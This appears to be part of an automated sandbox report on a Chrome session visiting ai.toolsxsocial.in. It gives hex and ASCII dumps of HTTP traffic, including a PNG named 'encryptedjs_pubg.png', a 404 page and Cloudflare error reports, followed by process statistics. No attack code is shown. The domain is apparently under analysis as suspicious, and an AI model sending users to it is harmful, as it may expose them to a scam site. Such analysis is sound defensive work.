2025-02-21 23:54:54 UTC	1167	IN	Data Raw: 32 d8 82 0f 45 2b f6 1c d3 fb 16 3e 39 64 ce 20 fd a1 a0 86 00 0a bc a6 83 be 4b 16 7c 67 aa ce 71 36 f7 50 e3 8f f2 3c 5f ac 3e e1 2c bf da ff 93 7b f3 bd d7 3e 45 f6 ca 6d 39 bd 0d 2b ec 82 38 f7 c6 c7 54 a4 a6 83 ef d2 10 c8 44 54 ca 7f 2f ed 82 7c bc 85 45 31 ea 1c 5f 47 af 1c a3 d9 e4 7d 3a b9 47 ec f0 7c 58 66 5a 1f 38 70 7d 06 53 1e 67 b3 bf 58 cd 4f 99 c1 a6 e6 9c 36 53 fd d2 84 42 dd de e6 df 40 75 4a 79 2c da bd 16 31 d7 aa 9f c9 4b 55 8f b5 c8 13 a6 33 ca c1 c0 e2 c0 fe 6a 6b ed 16 ee 9f 40 f7 4a 78 ef 30 3c fe 22 be 8a bd f1 2f 3b 2c 72 1c ad af 8f a6 66 99 8a 2b 66 22 75 24 0b 9f e4 00 1c 84 fb fc f1 95 33 01 0f a8 cd 3f 59 00 57 e2 63 04 6a 5f 6a 53 9a b7 6a 1b e0 8b f1 d1 7e ea 01 aa cd 3b 39 17 a6 2e 39 b0 6f 93 46 12 b7 3e 97 db 0c 20 9e Data Ascii: 2E+>9d K\|gq6P<_>,{>Em9+8TDT/\|E1_G}:G\|XfZ8p}SgXO6SB@uJy,1KU3jk@Jx0<"/;,rf+f"u$3?YWcj_jSj~;9.9oF>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49741	188.114.97.3	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:55 UTC	473	OUT	GET /encryptedjs_pubg.png HTTP/1.1 Host: ai.toolsxsocial.in Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX
2025-02-21 23:54:55 UTC	948	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:54:55 GMT Content-Type: image/png Content-Length: 5702 Connection: close Last-Modified: Fri, 02 Feb 2024 04:44:46 GMT ETag: "65bc733e-1646" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 CF-Cache-Status: HIT Age: 44643 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qoKg75h9LRAmjIgbjKteEhWWcTsxfGE5FD%2BqwbJ%2FO4QVzoku5NaijQi%2F9miQH5E86Xct763Z4A3V5PIx9DeI47ZF0EgF5FaO8jVri2K%2F2TetdkFTJoijzA%2FtgXI9A12q96dismE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aaa114b5e43b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&min_rtt=1794&rtt_var=695&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1051&delivery_rate=1548250&cwnd=252&unsent_bytes=0&cid=c20bf6a00eeb180e&ts=163&x=0"
2025-02-21 23:54:55 UTC	421	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 03 00 00 00 c2 08 03 00 00 00 7a cc 57 5c 00 00 00 84 50 4c 54 45 ff ff ff 00 00 00 fe fe fe fb fb fb f6 f6 f6 f0 f0 f0 04 04 04 f4 f4 f4 aa aa aa cf cf cf 7b 7b 7b 83 83 83 d9 d9 d9 f5 f5 f5 e2 e2 e2 17 17 17 2b 2b 2b 1e 1e 1e 6b 6b 6b 96 96 96 72 72 72 48 48 48 32 32 32 b1 b1 b1 a1 a1 a1 98 98 98 c2 c2 c2 8b 8b 8b 42 42 42 d6 d6 d6 3b 3b 3b e4 e4 e4 10 10 10 52 52 52 2c 2c 2c bd bd bd 60 60 60 58 58 58 6e 6e 6e 7f 7f 7f 37 37 37 1d 1d 1d 65 65 65 14 14 14 24 d1 b3 32 00 00 15 7d 49 44 41 54 78 9c ed 5d 89 62 ea 3a 0e 75 76 02 14 48 21 2c 61 2f d0 85 fe ff ff 4d bc 49 b2 e3 50 02 85 72 e7 71 de 4c 6f e3 2d f6 89 2c 4b b2 93 32 f6 c4 13 4f 3c f1 c4 13 04 fe 19 a0 a5 ce ab 71 1e ce bc fd ad 51 d3 0d Data Ascii: PNGIHDRzW\PLTE{{{+++kkkrrrHHH222BBB;;;RRR,,,```XXXnnn777eee$2}IDATx]b:uvH!,a/MIPrqLo-,K2O<qQ
2025-02-21 23:54:55 UTC	1369	IN	Data Raw: 06 3b 6a c6 c0 70 c5 df 99 69 f8 9b 62 64 e7 9c 2d 7d d4 b5 f8 a1 d2 49 d9 75 d8 a2 27 c4 9c 64 f9 c8 81 15 32 c2 24 c2 01 a5 c2 ea ce 15 1c 18 77 bb 9e 03 df 6e da 59 d8 c9 01 ed 3b b6 6a b1 fb ff 29 07 4f fc d3 30 1f e0 9d d7 b8 ca ed fc c0 76 96 f9 2c 0b 64 d0 96 e7 06 c2 12 31 2b e8 b2 81 d1 a2 28 0c 11 60 51 4b b7 ad 0a aa 3c b8 e1 5f 2d f0 c9 3a 4d 97 02 69 89 35 0b 59 90 24 81 1f 86 81 00 2b ff e7 07 41 c4 12 3f 4c 12 c6 c2 b2 9b e5 08 02 05 35 9c 32 3d 0c ca 1a 51 18 86 8a 14 df 0f ad 3b 85 65 2b 7e 12 25 61 12 04 2f 61 98 b0 17 9d 13 04 a1 5d f8 42 a0 9e 71 28 2e 64 99 a6 06 f3 b1 67 62 1c 7f f6 3d 6f f3 e5 79 5f 1b 8e 41 3f 1e 67 df df de d8 cb ca dc ed ca eb 1f 56 9b c5 60 a3 90 7d c5 db d5 a0 3f 18 f0 ba 9b 6f fe 23 db 7c f5 39 be bc 51 77 f2 Data Ascii: ;jpibd-}Iu'd2$wnY;j)O0v,d1+(`QK<_-:Mi5Y$+A?L52=Q;e+~%a/a]Bq(.dgb=oy_A?gV`}?o#\|9Qw
2025-02-21 23:54:55 UTC	1369	IN	Data Raw: 01 5e be 89 fe 42 63 6b e0 00 55 ea f5 1c 9c 53 9d 70 30 aa 72 20 85 1b 75 94 34 21 6c 3b 11 97 d9 81 bc 29 70 30 33 4a 8b b9 d0 05 39 c8 79 e1 00 b2 d7 d0 5f 9c 9f bb f3 38 68 36 e4 53 1c cc 29 07 b1 ee 27 c3 e7 12 cb a5 83 2c 6f 92 03 74 00 32 6b 10 53 46 1e b4 32 40 80 83 83 70 2c 81 03 8c 21 23 07 28 9a b7 04 e1 00 f7 76 bb a0 f4 84 1c a0 d9 27 47 61 cb 41 81 4b ac 35 08 be 56 a2 50 49 92 e1 52 0a 0d 18 5c a8 fa b7 c0 f9 dd 39 f8 86 c4 f5 16 c2 59 bc 63 e8 cf cb b5 d1 d4 07 86 8b 25 eb 83 52 eb 11 0e 62 55 3a d3 99 5b 21 07 7e 94 16 45 b1 5b 12 b7 08 d7 a1 c1 bd 39 c0 1b 86 83 be 4e e4 12 6a ad f0 64 cc 2d 37 07 30 08 be 4f 84 4a 50 5a c3 b0 f2 65 cc 88 d7 f8 0e 0e b2 5b 0f 5f 80 c4 d2 d0 6f 44 62 62 da a7 58 71 80 75 6c 7d a0 38 d8 d1 4b 64 48 5a 91 Data Ascii: ^BckUSp0r u4!l;)p03J9y_8h6S)',ot2kSF2@p,!#(v'GaAK5VPIR\9Yc%RbU:[!~E[9Njd-70OJPZe[_oDbbXqul}8KdHZ
2025-02-21 23:54:55 UTC	1369	IN	Data Raw: b2 6d 67 06 47 98 f8 f9 45 7b 91 01 57 51 ee 33 41 07 fa 41 b5 fd bb cb 41 07 12 7d 5c f0 4f 73 60 9f 47 52 1c 80 79 c1 5d 51 9b 03 b0 91 62 21 07 f8 10 40 27 62 d2 45 36 92 a5 c1 89 e6 a0 17 58 86 72 d0 02 13 00 1c 00 75 52 d8 6a 0e eb 14 96 ff f0 2e f5 2e bc 8c 23 4e df c0 d5 c6 d4 78 0b 66 36 d6 d3 3a 11 55 c4 26 3c 2b 90 c4 9c 1b 09 06 23 46 02 f9 dd 7c a6 72 72 0b 76 88 7d 90 52 fe 2a 1c c8 1d 44 8c 2b cb 58 1b 4e f9 52 27 92 c6 2c 0e be 03 63 2e a0 4e 44 0e 30 d6 7c 4b 90 b8 38 be df 48 1c c1 d3 73 41 9e 57 2e 48 13 82 58 58 17 76 46 63 1b 51 1a 0c 02 e9 37 4e 8e 4a a1 a2 2d 80 1c 5c b4 d7 d6 18 24 56 80 1b dd 67 73 20 cf 4c 21 8f 4a a5 10 39 a8 72 00 6b 63 26 e4 a0 35 c0 a3 4f 0a e4 18 f1 e5 47 b5 cf 83 6f 9a 28 44 27 92 7d a6 d4 51 11 39 90 2b 27 Data Ascii: mgGE{WQ3AAA}\Os`GRy]Qb!@'bE6XruRj..#Nxf6:U&<+#F\|rrv}R*D+XNR',c.ND0\|K8HsAW.HXXvFcQ7NJ-\$Vgs L!J9rkc&5OGo(D'}Q9+'
2025-02-21 23:54:55 UTC	1174	IN	Data Raw: 05 7b 0b 86 e1 c9 cc 32 d8 82 0f 45 2b f6 1c d3 fb 16 3e 39 64 ce 20 fd a1 a0 86 00 0a bc a6 83 be 4b 16 7c 67 aa ce 71 36 f7 50 e3 8f f2 3c 5f ac 3e e1 2c bf da ff 93 7b f3 bd d7 3e 45 f6 ca 6d 39 bd 0d 2b ec 82 38 f7 c6 c7 54 a4 a6 83 ef d2 10 c8 44 54 ca 7f 2f ed 82 7c bc 85 45 31 ea 1c 5f 47 af 1c a3 d9 e4 7d 3a b9 47 ec f0 7c 58 66 5a 1f 38 70 7d 06 53 1e 67 b3 bf 58 cd 4f 99 c1 a6 e6 9c 36 53 fd d2 84 42 dd de e6 df 40 75 4a 79 2c da bd 16 31 d7 aa 9f c9 4b 55 8f b5 c8 13 a6 33 ca c1 c0 e2 c0 fe 6a 6b ed 16 ee 9f 40 f7 4a 78 ef 30 3c fe 22 be 8a bd f1 2f 3b 2c 72 1c ad af 8f a6 66 99 8a 2b 66 22 75 24 0b 9f e4 00 1c 84 fb fc f1 95 33 01 0f a8 cd 3f 59 00 57 e2 63 04 6a 5f 6a 53 9a b7 6a 1b e0 8b f1 d1 7e ea 01 aa cd 3b 39 17 a6 2e 39 b0 6f 93 46 12 Data Ascii: {2E+>9d K\|gq6P<_>,{>Em9+8TDT/\|E1_G}:G\|XfZ8p}SgXO6SB@uJy,1KU3jk@Jx0<"/;,rf+f"u$3?YWcj_jSj~;9.9oF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49743	157.240.0.6	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:56 UTC	613	OUT	GET /rsrc.php/v3/yj/r/gB76kJXPYJV.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ai.toolsxsocial.in/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:54:56 UTC	2014	IN	HTTP/1.1 404 Not Found x-fatal-request: static.xx.fbcdn.net Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT timing-allow-origin: * reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src data: blob: 'self';script-src .facebook.com .fbcdn.net blob: data: 'self';style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com: wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self';img-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.xx.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script'; document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(), clipboard-write=(), compute-pressure=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), private-state-token-issuance=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 0 origin-agent-cluster: ?1 Content-Type: text/html; charset="utf-8"
2025-02-21 23:54:56 UTC	102	IN	Data Raw: 58 2d 46 42 2d 44 65 62 75 67 3a 20 4f 46 39 56 70 4e 68 71 73 6e 30 65 69 2f 42 43 4c 36 49 6b 6c 51 55 6a 41 7a 4f 75 70 75 4f 4d 7a 4f 46 42 77 6b 4a 52 71 50 32 76 58 76 4c 4f 4d 33 79 5a 41 6f 52 69 67 6f 49 70 5a 7a 33 59 37 6a 39 79 72 4d 5a 70 6e 69 35 61 71 63 44 2f 55 47 38 43 41 67 3d 3d 0d 0a Data Ascii: X-FB-Debug: OF9VpNhqsn0ei/BCL6IklQUjAzOupuOMzOFBwkJRqP2vXvLOM3yZAoRigoIpZz3Y7j9yrMZpni5aqcD/UG8CAg==
2025-02-21 23:54:56 UTC	3031	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 72 65 73 70 6f 6e 73 65 62 79 74 65 73 3d 22 41 63 4b 4b 59 6c 79 70 30 52 5a 33 30 66 49 62 51 43 66 6d 36 45 52 74 72 43 39 63 75 32 48 6e 4f 62 5f 74 35 44 5a 6a 47 4d 76 42 58 78 34 4c 55 31 62 52 68 48 61 4f 6e 67 22 3b 20 65 5f 66 62 5f 72 65 71 75 65 73 74 74 69 6d 65 3d 22 41 63 4c 56 42 73 4a 6f 5a 63 50 48 4b 38 67 58 5f 6d 34 6a 41 31 54 6a 4b 56 4a 45 2d 43 61 2d 72 62 75 77 4a 51 63 5f 44 64 66 68 35 4e 68 50 5a 36 41 4f 49 43 74 6c 6a 4f 30 56 67 47 52 5a 41 4c 52 56 6f 43 71 42 35 67 22 3b 20 65 5f 70 72 6f 78 79 3d 22 41 63 49 6b 54 51 51 37 50 79 79 34 33 5a 42 38 64 52 47 34 2d 33 4a 73 67 30 38 62 58 57 4c 43 35 61 4a 4b Data Ascii: Proxy-Status: http_request_error; e_fb_responsebytes="AcKKYlyp0RZ30fIbQCfm6ERtrC9cu2HnOb_t5DZjGMvBXx4LU1bRhHaOng"; e_fb_requesttime="AcLVBsJoZcPHK8gX_m4jA1TjKVJE-Ca-rbuwJQc_Ddfh5NhPZ6AOICtljO0VgGRZALRVoCqB5g"; e_proxy="AcIkTQQ7Pyy43ZB8dRG4-3Jsg08bXWLC5aJK
2025-02-21 23:54:56 UTC	220	IN	Data Raw: 44 61 74 65 3a 20 46 72 69 2c 20 32 31 20 46 65 62 20 32 30 32 35 20 32 33 3a 35 34 3a 35 36 20 47 4d 54 0d 0a 58 2d 46 42 2d 43 6f 6e 6e 65 63 74 69 6f 6e 2d 51 75 61 6c 69 74 79 3a 20 47 4f 4f 44 3b 20 71 3d 30 2e 37 2c 20 72 74 74 3d 39 34 2c 20 72 74 78 3d 30 2c 20 63 3d 31 34 2c 20 6d 73 73 3d 31 33 39 32 2c 20 74 62 77 3d 33 34 31 33 2c 20 74 70 3d 2d 31 2c 20 74 70 6c 3d 2d 31 2c 20 75 70 6c 61 74 3d 30 2c 20 75 6c 6c 61 74 3d 2d 31 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a Data Ascii: Date: Fri, 21 Feb 2025 23:54:56 GMTX-FB-Connection-Quality: GOOD; q=0.7, rtt=94, rtx=0, c=14, mss=1392, tbw=3413, tp=-1, tpl=-1, uplat=0, ullat=-1Alt-Svc: h3=":443"; ma=86400Connection: closeContent-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49745	188.114.97.3	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:54:56 UTC	670	OUT	GET /data/manifest/ HTTP/1.1 Host: ai.toolsxsocial.in Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_mw_byp=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-/advance-server/K3bKKZbZXX
2025-02-21 23:54:56 UTC	885	IN	HTTP/1.1 404 Not Found Date: Fri, 21 Feb 2025 23:54:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Thu, 06 Feb 2025 07:50:09 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r%2BJ%2FYZdBP29dSiMAszfA0wOM88s3%2BuxyEDuMhc3gRBYA%2FZ%2BRVxA%2FxxOE%2BT6XQ5PdiQ6QeAHCtliq2JdpNmyuzgOJzAIskSU0Sw9Vcfg%2FEIKtz3%2FS6D9yrL9ed%2FwfjoSJe%2FMczBE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aaa16f8df729e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2909&min_rtt=1819&rtt_var=1461&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1248&delivery_rate=1605277&cwnd=189&unsent_bytes=0&cid=8574ce72c9a848a1&ts=298&x=0"
2025-02-21 23:54:56 UTC	484	IN	Data Raw: 62 34 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b4d<!doctype html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2025-02-21 23:54:56 UTC	1369	IN	Data Raw: 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 Data Ascii: ext-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {
2025-02-21 23:54:56 UTC	1047	IN	Data Raw: 39 37 2d 31 31 31 2e 30 34 33 20 32 34 38 2d 32 34 38 20 32 34 38 53 38 20 33 39 32 2e 39 39 37 20 38 20 32 35 36 43 38 20 31 31 39 2e 30 38 33 20 31 31 39 2e 30 34 33 20 38 20 32 35 36 20 38 73 32 34 38 20 31 31 31 2e 30 38 33 20 32 34 38 20 32 34 38 7a 4d 32 36 32 2e 36 35 35 20 39 30 63 2d 35 34 2e 34 39 37 20 30 2d 38 39 2e 32 35 35 20 32 32 2e 39 35 37 2d 31 31 36 2e 35 34 39 20 36 33 2e 37 35 38 2d 33 2e 35 33 36 20 35 2e 32 38 36 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 Data Ascii: 97-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zM262.655 90c-54.497 0-89.255 22.957-116.549 63.758-3.536 5.286-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57
2025-02-21 23:54:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49749	35.190.80.1	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:55:38 UTC	559	OUT	OPTIONS /report/v4?s=r%2BJ%2FYZdBP29dSiMAszfA0wOM88s3%2BuxyEDuMhc3gRBYA%2FZ%2BRVxA%2FxxOE%2BT6XQ5PdiQ6QeAHCtliq2JdpNmyuzgOJzAIskSU0Sw9Vcfg%2FEIKtz3%2FS6D9yrL9ed%2FwfjoSJe%2FMczBE%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ai.toolsxsocial.in Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:55:38 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 21 Feb 2025 23:55:37 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49750	35.190.80.1	443	3212	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:55:38 UTC	498	OUT	POST /report/v4?s=r%2BJ%2FYZdBP29dSiMAszfA0wOM88s3%2BuxyEDuMhc3gRBYA%2FZ%2BRVxA%2FxxOE%2BT6XQ5PdiQ6QeAHCtliq2JdpNmyuzgOJzAIskSU0Sw9Vcfg%2FEIKtz3%2FS6D9yrL9ed%2FwfjoSJe%2FMczBE%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 912 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:55:38 UTC	912	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 37 33 30 39 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 36 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 61 69 2e 74 6f 6f 6c 73 78 73 6f 63 69 61 6c 2e 69 6e 2f 61 64 76 61 6e 63 65 2d 73 65 72 76 65 72 2f 4b 33 62 4b 4b 5a 62 5a 58 58 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 2e 39 37 2e 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 Data Ascii: [{"age":57309,"body":{"elapsed_time":1266,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX","sampling_fraction":1.0,"server_ip":"188.114.97.3","status_code":404,"type":"http.error"
2025-02-21 23:55:38 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 21 Feb 2025 23:55:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Behavior

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 2544, Parent PID: 3904

General

Target ID:	0
Start time:	18:54:26
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

File Activities

File Opened

Show Windows behavior

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Process Activities

Process Created

Process Terminated

Show Windows behavior

Thread Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Memory Activities

Memory Usage Statistics

Show Windows behavior

Timing Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Windows UI Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

